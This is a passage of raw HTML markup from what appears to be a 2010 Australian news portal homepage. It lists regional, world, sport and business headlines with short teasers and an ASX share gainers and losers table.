class=\"heading\">\n\t\t\t<a href=\"http://www.news.com.au/adelaidenow/story/0,,26574924-2682,00.html\">\n\t\t\t\t\t\tCraypot crackpots in hoax emergency\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.news.com.au/adelaidenow/story/0,,26574924-2682,00.html\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225818/048752-binoculars.jpg\" alt=\"binoculars\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tPRANKSTERS have tied up already-stretched beach rescue resources with a fake emergency at Middleton.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225818052131 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.news.com.au/adelaidenow/story/0,,26572475-2682,00.html\"> Homes saved from fire </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.news.com.au/adelaidenow/story/0,,26574892-2682,00.html\"> Drunken, speeding driver pleads guilty </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-3\"><a href=\"http://www.news.com.au/adelaidenow/story/0,,26574808-2682,00.html\"> Fire fight at RAAF base </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .ci-content -->\n\t\t\t<div class=\"ci-footer\">\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.adelaidenow.com.au\">More news at AdelaideNow</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .ci-footer -->\n\t\t</div> <!-- // .ci .collection -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-6 cirpos-3\" >\n\t\t\t\t\t\t<div class=\"ci default   state state-wa collection  text-m-western-australia id1225749150551\" id=\"id1225749150551\">\n\t\t\t<div class=\"ci-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"http://www.perthnow.com.au/\">Western Australia</a></h3>\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"\">Western Australia</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .ci-header -->\n\t\t\t<div class=\"ci-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225817988782\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"http://www.perthnow.com.au/news/western-australia/perth-bouncer-glassed-in-head-at-tiger-lils/story-e6frg13u-1225817988782\">\n\t\t\t\t\t\tPerth bouncer glassed\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"http://www.perthnow.com.au/news/western-australia/perth-bouncer-glassed-in-head-at-tiger-lils/story-e6frg13u-1225817988782\" class=\"thumb-link\"><img src=\"http://resources3.news.com.au/images/2009/12/21/1225812/336727-glassing-in-sydney.gif\" alt=\"glassing in sydney\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tPOLICE have charged a 26-year-old man after a Tiger Lil's Night Club bouncer was glassed in the head in the early hours of Sunday morning.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225817988782 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"http://www.perthnow.com.au/news/western-australia/mini-tornado-hits-regional-town/story-e6frg13u-1225817879536\"> 'Mini-tornado' hits regional town </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"http://www.perthnow.com.au/news/western-australia/mandurah-trains-stopped-over-weekends/story-e6frg13u-1225817981993\"> Mandurah trains weekend closure </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-3\"><a href=\"http://www.perthnow.com.au/news/western-australia/killer-sharks-to-be-shot-slaughtered/story-e6frg13u-1225817663520\"> Rogue sharks to be shot  </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .ci-content -->\n\t\t\t<div class=\"ci-footer\">\n\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a  href=\"http://www.perthnow.com.au\">More news at PerthNow</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .ci-footer -->\n\t\t</div> <!-- // .ci .collection -->\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-7 cirpos-2\" >\n\t\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:18 EST 2010 -->\n\t<div class=\"ci-header\">\n\t\t<h3 class=\"heading\">\n\t\t\t<a href=\"http://www.ntnews.com.au/\">Northern Territory</a>\n\t\t</h3>\n\t\t<p class=\"rss\">\n        \t<a href=\"http://www.ntnews.com.au/rss/ntnews_ndm.xml\">RSS</a>\n        </p>\n\t\t<p class=\"more-link\">\n\t\t\t<a href=\"http://www.ntnews.com.au/\">NT News</a>\n\t\t</p>\n\t</div> <!-- // .ci-header -->\n\t<div class=\"ci-content\">\n\t\t\t\t\t<div class=\"story-block\">\n\t\t\t\t\t\t<h3 class=\"heading\">\n\t\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/article/2010/01/11/114561_ntnews.html\">Fears for missing pair as floods rise</a>\n\t\t\t\t\t\t</h3>\n\t\t\t\t\t\t<p>GRAVE fears are held for two brothers who are still missing after flood waters washed through Central Australia.</p>\n\t\t\t\t\t</div>\n\t\t  \t\t<ul class=\"related\">\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/article/2010/01/11/114581_ntnews.html\">Call for croc trap spy cams</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/article/2010/01/11/114571_ntnews.html\">Couple lucky to be alive after rollover</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/article/2010/01/11/114541_ntnews.html\">Marina hit by car break-in crime wave</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/article/2010/01/11/114551_ntnews.html\">Lucky cross diving deep with meaning</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t</ul>\n\t</div><!-- // .ci-content -->\n\t<div class=\"ci-footer\">\n        <p class=\"more-link\">\n        \t<a href=\"http://www.ntnews.com.au/\">More news at NT News</a>\n   \t\t</p>\n    </div><!-- // .ci-footer -->\n\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n        \t\t\t<div class=\"content-item tab-content js-tab-content cipos-8 cirpos-1\" >\n\t\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:18 EST 2010 -->\n\t<div class=\"ci-header\">\n\t\t<h3 class=\"heading\">\n\t\t\t<a href=\"http://www.themercury.com.au/news/tasmania-news.html\">Tasmania</a>\n\t\t</h3>\n\t\t<p class=\"rss\">\n        \t<a href=\"http://www.themercury.com.au/rss/tasmania-news.xml\">RSS</a>\n        </p>\n\t\t<p class=\"more-link\">\n\t\t\t<a href=\"http://www.themercury.com.au/\">Mercury</a>\n\t\t</p>\n\t</div> <!-- // .ci-header -->\n\t<div class=\"ci-content\">\n\t\t\t\t\t<div class=\"story-block\">\n\t\t\t\t\t\t<h3 class=\"heading\">\n\t\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/article/2010/01/11/120761_tasmania-news.html\">Bypass deadline warning</a>\n\t\t\t\t\t\t</h3>\n\t\t\t\t\t\t<p>PREMIER David Bartlett has warned Aboriginal activists opposing the Brighton bypass they may have only two weeks to co-operate before the project proceeds.</p>\n\t\t\t\t\t</div>\n\t\t  \t\t<ul class=\"related\">\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/article/2010/01/11/120771_tasmania-news.html\">Film backs Ady Gil claims</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/article/2010/01/11/120781_tasmania-news.html\">Total fire ban as 36C expected</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/article/2010/01/11/120801_tasmania-news.html\">Molik Monday has Hobart in its grip</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/article/2010/01/11/120791_tasmania-news.html\">Pokie losses keep rising</a>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t</ul>\n\t</div><!-- // .ci-content -->\n\t<div class=\"ci-footer\">\n        <p class=\"more-link\">\n        \t<a href=\"http://www.themercury.com.au/\">More news at Mercury</a>\n   \t\t</p>\n    </div><!-- // .ci-footer -->\n\n\n\n\t        </div><!-- // .content-item .js-tab-content -->\n    </div><!-- // .module-content -->\n\t\t<div class=\"module-footer\">\n            <ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/national\">More national news</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n\t\t</div><!-- // .module-footer -->\n</div><!-- // .module .js-tabbed -->\n\n\t\t</div><!-- // .item ipos-1 irpos-1 -->\n\t</div><!-- // .group-content.item-count-1 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745348177] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group group-accordion text-g-world item-count-1\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">World</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-1\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-3 text-m-world id1225745360551\" id=\"id1225745360551\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"/world\">World</a></h3>\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225818014345\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/world/nightclub-man-wanted-in-playboy-model-murder-case/story-e6frfkyi-1225818014345\">\n\t\t\t\t\t\tDead Playboy model 'left club with man'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/world/nightclub-man-wanted-in-playboy-model-murder-case/story-e6frfkyi-1225818014345\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2010/01/07/1225817/046433-dtthumb-paula-sladewski.jpg\" alt=\"Paula Sladewski\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tPOLICE are searching for a man who left a club with Paula Sladewski&nbsp; before her body was found burned beyond recognition.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225818014345 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/world/uae-presidents-brother-avoids-torture-charge/story-e6frfkyi-1225817939593\"> President's brother avoids torture charge </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/world/ied-claims-life-of-sunday-mirror-journalist/story-e6frfkyi-1225817939621\"> Journalist killed on Afghanistan patrol </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/world/gunman-who-shot-former-pope-john-paul-ii-seeks-5-million-in-book-deals/story-e6frfkyi-1225817941994\"> Gunman seeks $5 million in book deals  </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/world/workers-tombs-discovered-at-cheops-pyramid/story-e6frfkyi-1225817939813\"> Tombs 'show pyramid builders weren't slaves' </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<div class=\"module breakingnews breaking-news sectionref-world-breaking-news  collection mpos-2 mrpos-2 text-m-world-breaking-news id1225749037374\" id=\"id1225749037374\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"/world\">World breaking news</a></h3>\n\t<ul class=\"more-links mpos-2 mrpos-2 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/breaking-news/world\">World breaking news </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t<!-- Placement generated for [1225749037374] on [fwprodcontent02.ni.news.com.au] @ [Mon Jan 11 12:49:16 EST 2010] with unknown deps -->\n\t         \t<ul class=\"breaking-news-list\" >\n\t               <li class=\"lipos-1 lirpos-4\">\n\t                   <span class=\"timestamp\">12:05PM</span>\n\t                   <a href=\"/breaking-news/mp3-creator-backs-perfect-streams-focus-on-dumb-devices/story-e6frfku0-1225818037028\">MP3 creator focuses on &#039;dumb&#039; devices</a>\n\t               </li>\n\t               <li class=\"lipos-2 lirpos-3\">\n\t                   <span class=\"timestamp\">11:30AM</span>\n\t                   <a href=\"/breaking-news/more-than-210-prisoners-moved-for-mel-gibson-film/story-e6frfku0-1225818020780\">Prisoners booted out for Mel Gibson film</a>\n\t               </li>\n\t               <li class=\"lipos-3 lirpos-2\">\n\t                   <span class=\"timestamp\">11:04AM</span>\n\t                   <a href=\"/breaking-news/nightclub-man-wanted-in-playboy-model-murder-case/story-e6frfku0-1225818007768\">Dead Playboy model &#039;left club with man&#039;</a>\n\t               </li>\n\t               <li class=\"lipos-4 lirpos-1\">\n\t                   <span class=\"timestamp\">8:27AM</span>\n\t                   <a href=\"/breaking-news/lindsay-lohan-wanted-after-paparazzi-hit-by-car/story-e6frfku0-1225817943168\">Lohan wanted after paparazzi hit by car</a>\n\t               </li>\n\t         </ul> <!-- // .breaking-news-list -->\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- promo-block-03 -->\n<div class=\"module module-promo-block-03  mpos-3 mrpos-1 id1225818041731 text-m-ice-ice-baby\">\n    <div class=\"module-content\">\n<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/world/saturn-energy-could-be-signs-of-life/story-e6frfkyi-1225818036227\"><img src=\"http://resources1.news.com.au/images/2010/01/11/1225818/042521-enceladus.jpg\" alt=\"Enceladus\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/world/saturn-energy-could-be-signs-of-life/story-e6frfkyi-1225818036227\">Ice, ice, baby</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Saturn's&nbsp;moon Enceladus could potentially have the right conditions to support life</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n    </div><!-- // .module-content -->\n           <div class=\"module-footer\">\n\t\t\t<ul class=\"more-links tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/world\">More world </a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n           </div><!-- // .module-footer -->\n</div><!-- // .module.module-promo-block-03 -->\n\n\t\t</div><!-- // .item ipos-1 irpos-1 -->\n\t</div><!-- // .group-content.item-count-1 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745348274] on [fwprodcontent04.ni.news.com.au] @ [January 11, 2010 12:48PM] -->\n<div class=\"group group-accordion text-g-fox-sports item-count-1\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\"><a href=\"http://www.foxsports.com.au\">Fox Sports</a></h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-1\">\n\t\t\t\t\t<div class=\"module foxsports\">\n\t<div class=\"module-header\">\n\t\t<h3 class=\"heading\"><a href=\"http://www.foxsports.com.au/\">Sports News</a></h3>\n\t</div><!-- // .module-header -->\n\t<div class=\"module-content\">\n\t\t\t<div class=\"story-block \">\n\t\t\t\t<h4 class=\"heading\"><a href=\"http://www.foxsports.com.au/story/0,8659,26574694-5018866,00.html?from=public_rss\">Rebels join race for Thurston</a></h4>\n\t\t\t\t<a href=\"http://www.foxsports.com.au/story/0,8659,26574694-5018866,00.html?from=public_rss\" class=\"thumb-link\"><img class=\"thumbnail\" src=\"http://www.foxsports.com.au/common/imagedata/0,10114,7413409,00.jpg\"  alt=\"Rebels join race for Thurston\"/></a>\n\t\t\t\t<p class=\"standfirst\">THE tug of war for Johnathan Thurston's signature has taken a twist, with the Melbourne Super Rugby franchise targeting the star.</p>\n\t\t\t</div>\n\t</div><!-- // .module-content -->\n\t<div class=\"module-related\">\n\t\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"first lipos-1\"><a href=\"http://www.foxsports.com.au/story/0,8659,26574736-23215,00.html?from=public_rss\">Mali conjure miracle in Louanda</a></li>\n\t\t\t\t\t<li class=\"lipos-2\"><a href=\"http://www.foxsports.com.au/story/0,8659,26572745-5000940,00.html?from=public_rss\">Ten-man Jets overpower Victory</a></li>\n\t\t\t\t\t<li class=\"lipos-3\"><a href=\"http://www.foxsports.com.au/story/0,8659,26574359-5018870,00.html?from=public_rss\">North to get another chance</a></li>\n\t\t\t\t\t<li class=\"last lipos-4\"><a href=\"http://www.foxsports.com.au/story/0,8659,26573885-5018898,00.html?from=public_rss\">Hewitt's career hinges on fitness</a></li>\n\t\t</ul>\n\t</div><!-- // .module-related -->\n</div><!-- // .module -->\n\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module fox-sports\">\n\t<div class=\"module-header\">\n\t\t<h3 class=\"heading\"><a href=\"http://www.foxsports.com.au/#vpl=1\">Fox Sports in a minute</a></h3>\n\t</div><!-- // .module-header -->\n\t<div class=\"module-content\">\n\t\t<a href=\"http://www.foxsports.com.au/#vpl=1\" class=\"thumbnail-link\">\n\t\t\t<span class=\"play\">Play Video</span>\n\t\t\t<img width=\"189\" height=\"106\" src=\"http://media.foxsports.com.au/fsniam/FSWS_HOURLY_189.jpg\" class=\"thumbnail\" alt=\"FOXSPORTS Video Player\"/>\n\t\t</a>\n\t\t<p><strong>It's on all the time...</strong> Updates throughout the day</p>\n\t\t<h5>Available on FoxTel</h5>\n\t</div><!-- // .module-content -->\n\t<div class=\"module-footer\">\n\t   <ul class=\"more-links\">\n\t\t<li class=\"first\"><a href=\"http://www.foxsports.com.au/results\">Live Scores and Stats Central</a></li>\n\t\t<li class=\"last\"><a href=\"http://www.foxsports.com.au\">More sport</a></li>\n\t   </ul>\n\t</div><!-- // .module-footer -->\n</div><!-- // .module .fox-sports -->\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-1 irpos-1 -->\n\t</div><!-- // .group-content.item-count-1 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745348429] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group group-accordion text-g-business item-count-3\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">Business</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-3\">\n\t\t\t\t\t<div class=\"module default    collection mpos-1 mrpos-3 text-m-business id1225745365292\" id=\"id1225745365292\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\">Business</h3>\n\t<ul class=\"more-links mpos-1 mrpos-3 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/business\">Business</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-1 id1225818029523\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/business/surge-in-job-ads-as-economy-improves/story-e6frfm1i-1225818029523\">\n\t\t\t\t\t\tBig jump in number of job ads\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/business/surge-in-job-ads-as-economy-improves/story-e6frfm1i-1225818029523\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2009/12/10/1225808/990097-jobs.jpg\" alt=\"jobs\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tTHE number of job ads in newspapers and online jumped 6 per cent, the strongest monthly growth in two-and-a-half years.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-1 rpos-1 id1225818029523 -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first  lipos-1\"><a href=\"/business/rags-to-riches-tale-as-dotcom-geek-snaps-up-top-harbour-properties/story-e6frfm1i-1225817935527\"> Dotcom geek grabs Harbour properties </a></li>\n\t\t\t\t\t<li class=\"story    lipos-2\"><a href=\"/business/industry-warned-of-labour-pains/story-e6frfm1i-1225817933467\"> Industry warned of labour pains </a></li>\n\t\t\t\t\t<li class=\"story    lipos-3\"><a href=\"/business/australian-share-market-off-and-running/story-e6frfm1i-1225817945839\"> Share market off and running </a></li>\n\t\t\t\t\t<li class=\"story   last lipos-4\"><a href=\"/business/camper-hire-owner-rejects-wicked-criticism/story-e6frfm1i-1225817879213\"> Camper hire owner rejects criticism </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .module-content -->\n\t\t\t<div class=\"module-footer\">\n\t<ul class=\"more-links mpos-1 mrpos-3 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/business\">More business</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .module-footer -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:05 EST 2010 -->\n\t<div class=\"module asx-top-risers-fallers  mpos-2 mrpos-2 id1225748188344\">\n\t\t<div class=\"module-header\">\n\t\t\t<h3 class=\"heading\">ASX200 - Top Gainers &amp; Losers\n\t\t\t\t\t<em class=\"timestamp\"> at 12:00PM</em>\n\t\t\t</h3>\n\t\t</div><!-- // .module-header -->\n\t\t<div class=\"module-content\">\n\t\t\t<table class=\"market-table\">\n\t\t\t\t<thead>\n\t\t\t\t\t<tr><th scope=\"col\" class=\"th-code\">Code</th><th scope=\"col\" class=\"th-name\">Name</th><th scope=\"col\" class=\"th-price\">Price</th><th scope=\"col\" class=\"th-percent movement-index\">Percent</th></tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody class=\"gain\">\n\t\t\t\t\t\t<tr >\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=NXS\">NXS</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=NXS\">Nexus Energy</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">0.335</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>8.06%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr >\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=AGO\">AGO</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=AGO\">Atlas Iron</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">2.28</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>6.04%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"last\">\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=PLA\">PLA</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=PLA\">Platinum Austra..</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">1.13</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>5.6%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\t\t\t\t<tbody class=\"loss\">\n\t\t\t\t\t\t<tr class=\"last\">\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=SDL\">SDL</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=SDL\">Sundance Resour..</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">0.155</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>-3.13%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"last\">\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=WOR\">WOR</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=WOR\">WorleyParsons L..</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">29.61</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>-2.8%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"last\">\n\t\t\t\t\t\t\t<td class=\"asx-code\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=PBG\">PBG</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"company\">\n\t\t\t\t\t\t\t\t<a href=\"http://markets.news.com.au/newscorp/entry.aspx?secid=PBG\">Pacific Brands</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td class=\"price\">1.165</td>\n\t\t\t\t\t\t\t<td class=\"movement\"><span>-2.52%</span></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\t\t\t</table>\n\t\t</div> <!-- // .module-content -->\n\t\t<div class=\"module-footer\">\n\t\t\t<p class=\"more-link\"><a href=\"##share-market \">More Gainers &amp; Losers</a></p>\n\t\t</div><!-- // .module-footer -->\n\t</div><!-- // .module .asx-top-risers-fallers  -->\n\n\n\t\t\t\t\t<div class=\"module stock-quotes  id1225709921880 \">\n\t<div class=\"module-header\">\n\t\t\t\t<h3 class=\"heading\">Stock Quotes</h3>\n\t</div><!-- // . module-header -->\n\t<div class=\"module-content\">\n\t\t<form action=\"http://markets.news.com.au/newscorp/entry.aspx\" method=\"get\">\n\t\t\t<label for=\"SecId\">Search ASX code or name</label>\n\t\t\t<input type=\"text\" value=\"Search ASX code or Name\" name=\"SecId\" class=\"default-input remove-text inactive-input\"/>\n\t\t\t<input type=\"submit\" value=\"Search\" class=\"search-submit submit\"/>\n\t\t</form>\n\t</div><!-- // .module-content -->\n</div><!-- // .module -->\n\n\t\t</div><!-- // .item ipos-1 irpos-3 -->\n\t\t<div class=\"item ipos-2 irpos-2\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Business Accordion 2 test</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755080235&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"\">Breaking News</a></li>\n         <li class=\"last\"><a href=\"\">Markets</a></li>\n</ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-2 irpos-2 -->\n\t\t<div class=\"item ipos-3 irpos-1\">\n\t\t\t\t\t<div class=\"custom-html  \">\n\t\t<div class=\"module ajaxcontent\">\n   <div class=\"module-header\">\n      <h3 class=\"heading\">\n      <a href=\"\">Business Accordion 3</a>\n      </h3>\n      <ul class=\"more-links\">\n         <li class=\"first\"><a rel=\"/cs/Satellite?c=News_Group&cid=1225755080316&pagename=Foundation%2FNews_Group%2FFDNdetail&site=NewsComAu\" href=\"#\">Most Read</a></li>\n         <li class=\"last\"><a href=\"#\">Business Smarts</a></li>\n      </ul>\n   </div>\n</div>\n\t</div><!-- // .custom-html -->\n\n\t\t</div><!-- // .item ipos-3 irpos-1 -->\n\t</div><!-- // .group-content.item-count-3 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745357515] on [fwprodcontent03.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div 